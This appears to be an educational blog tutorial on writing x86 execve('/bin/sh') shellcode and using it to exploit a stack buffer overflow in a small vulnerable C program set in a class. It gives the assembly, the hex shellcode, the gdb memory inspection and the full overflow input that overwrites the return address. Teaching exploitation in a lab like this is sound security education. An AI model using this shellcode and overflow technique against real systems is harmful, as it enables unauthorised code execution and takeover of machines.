How to inject shellcode in a C program

02-04-2022

What is shellcode

It's a piece of code used to exploit vulnerabilities in software, got the name as it was many times used to spawn a shell to allow the user to take command of another machine.

Assembly

First of all we need to build the shellcode. We'll write some assembly that will do our bidding. We will use x86-32bit architecture instructions.

Common Registers

Each one of the above has a register for high and low bits.
%ah: high and %al low for %eax
%bh: high and %bl low for %ebx
etc...

Useful commands

Endianness

Data can be stored from left to right, or from right to left. Little endian goes from right to left and big from left to right. ie. 0x12345678 in little endian would be stored as 0x78563412

Let's do this

Here are some helpful files. You can either clone the repo or download the files from the releases page. Firstly we are going to write our shellcode. Our goal is to spaw a shell. So we are going to use the command execve("/bin/sh", NULL, NULL); "/bin/sh" is only 7 bytes, we need it to be 8, so a workaround would be to use "/bin//sh". Now to represent the string in hex in little endian we get 0x68732f2f and 0x6e69622f. Create an assembly file with the following contents.


.section .data
.section .text
.globl  _start

_start:
    xor %eax, %eax
    push %eax        # endof string \0
    push $0x68732f2f # hs//
    push $0x6e69622f # nib/
    mov %esp, %ebx   # put string in first arg
    xor %ecx, %ecx
    xor %edx, %edx
    mov $0xb, %al    # syscal num for execve
    int $0x80        # execute system call
  

Now to compile it run:


  as --32 ass.s -o ass.o
  ld -m elf_i386 ass.o -o ass
  

Now running ./ass should spawn a shell. Next we'll try putting our shellcode in a test c program to see if it still works. To get the hex of our shellcode run objdump -d ass.o


ass.o:     file format elf32-i386


Disassembly of section .text:

00000000 <_start>:
   0:   31 c0                   xor    %eax,%eax
   2:   50                      push   %eax
   3:   68 2f 2f 73 68          push   $0x68732f2f
   8:   68 2f 62 69 6e          push   $0x6e69622f
   d:   89 e3                   mov    %esp,%ebx
   f:   31 c9                   xor    %ecx,%ecx
  11:   31 d2                   xor    %edx,%edx
  13:   b0 0b                   mov    $0xb,%al
  15:   cd 80                   int    $0x80
  

Now get a c file with the following contents using the hex from the shellcode


#include <stdio.h>

int main(int argc, char *argv[]) {
  char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80";

  int (*fptr)() = (int (*)()) shellcode;

  fptr();

  fprintf(stderr, "Should not be printed\n");

  return 1;
}
  

Compile this program gcc -Wall -ggdb -z execstack -m32 c.c -o c and run it, a shell should spawn. Now we can get a random program and try to spawn a shell in it. What we will do is cause a buffer overflow so when a the program tries to return from some function we'll make it return to the place where our shell code starts, in a part of the stack. Here's the program we were given in class:


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int password_valid = 0;

void authenticate_root(char *passwd) {
        unsigned long marker = 0xdeadbeef;
        char password[16];

        strcpy(password, passwd);

        fprintf(stderr, "%p\n", &marker);
        fprintf(stderr, "Validating password: %s\n", password);

        if (!strcmp(password, "e5ce4db216329f4f"))
                password_valid = marker;

}

int main(int argc, char *argv[]) {

        authenticate_root(argv[1]);

        if (password_valid != 0) {
                printf("Welcome administrator.\n");
        } else {
                printf("Access denied.\n");
        }

        return 1;
}
  

Now compile this program the same way we did for c above. Next run it with gdb gdb ./ss. Now we need to find out to what address the program will return after executing authenticate_root. Run disas main


(gdb) disas main
Dump of assembler code for function main:
   0x08048545 <+0>:     push   %ebp
   0x08048546 <+1>:     mov    %esp,%ebp
   0x08048548 <+3>:     and    $0xfffffff0,%esp
   0x0804854b <+6>:     sub    $0x10,%esp
   0x0804854e <+9>:     mov    0xc(%ebp),%eax
   0x08048551 <+12>:    add    $0x4,%eax
   0x08048554 <+15>:    mov    (%eax),%eax
   0x08048556 <+17>:    mov    %eax,(%esp)
   0x08048559 <+20>:    call   0x80484cd <authenticate_root>
   0x0804855e <+25>:    mov    0x804a02c,%eax
   0x08048563 <+30>:    test   %eax,%eax
   0x08048565 <+32>:    je     0x8048575 <main+48>
   0x08048567 <+34>:    movl   $0x8048652,(%esp)
   0x0804856e <+41>:    call   0x8048390 <puts@plt>
   0x08048573 <+46>:    jmp    0x8048581 <main+60>
   0x08048575 <+48>:    movl   $0x8048669,(%esp)
   0x0804857c <+55>:    call   0x8048390 <puts@plt>
   0x08048581 <+60>:    mov    $0x1,%eax
   0x08048586 <+65>:    leave
   0x08048587 <+66>:    ret
End of assembler dump.
  

See line <+20> that's where authenticate_root is called, that means that the return address will be the one below it: 0x0804855e. Now start, s into authenticate_root and x/32x $ebp-32 (examine memory in hex, /32 means show 32 addresses and $ebp-32 means start 32 adresses before the register $ebp).


(gdb) x/32x $ebp-32
0xbffffda8:     0xb7decd78      0x0804833d      0x00000000      0x00c10000
0xbffffdb8:     0x0804a000      0x080485e2      0x00000001      0xbffffe84
0xbffffdc8:     0xbffffde8      0x0804855e      0x00000000      0x00008000
0xbffffdd8:     0x0804859b      0xb7fa7000      0x08048590      0x00000000
0xbffffde8:     0x00000000      0xb7dfa2d3      0x00000001      0xbffffe84
0xbffffdf8:     0xbffffe8c      0xb7fda6b0      0x00000001      0x00000001
0xbffffe08:     0x00000000      0x0804a018      0x08048260      0xb7fa7000
0xbffffe18:     0x00000000      0x00000000      0x00000000      0x85a3e2ee
  

As you can see we can see our return address at 0xbffffdd0, we are going to overwrite that address so it points to our shellcode. So as input to the program we are going to use our shellcode followed by the neccessary padding and then the address of our shellcode. Running start `printf "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80AAAAAAAAAA"`, then stepping until after the strcpy function and inspecting memory we get:


0xbffffd88:     0xb7decd78      0x6850c031      0x68732f2f      0x69622f68
0xbffffd98:     0x31e3896e      0xb0d231c9      0x4180cd0b      0x41414141
0xbffffda8:     0x41414141      0x08040041      0xbfffff6f      0x00008000
0xbffffdb8:     0x0804859b      0xb7fa7000      0x08048590      0x00000000
0xbffffdc8:     0x00000000      0xb7dfa2d3      0x00000002      0xbffffe64
0xbffffdd8:     0xbffffe70      0xb7fda6b0      0x00000001      0x00000001
0xbffffde8:     0x00000000      0x0804a018      0x08048260      0xb7fa7000
0xbffffdf8:     0x00000000      0x00000000      0x00000000      0xa783a4a0
  

A in hex is 41, as we can see the last 2 numbers in our return address became 41, you should also notice that because of the endianness the bytes reverse inside each address. So now we need to remove one A, and point to the start of our shellcode which in this case is 0xbffffd8c. start `printf "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80AAAAAAAAA\x8c\xfd\xff\xbf"` Running with this input should spawn a shell. You can inspect memory and see for yourself.

Things to keep in mind

Links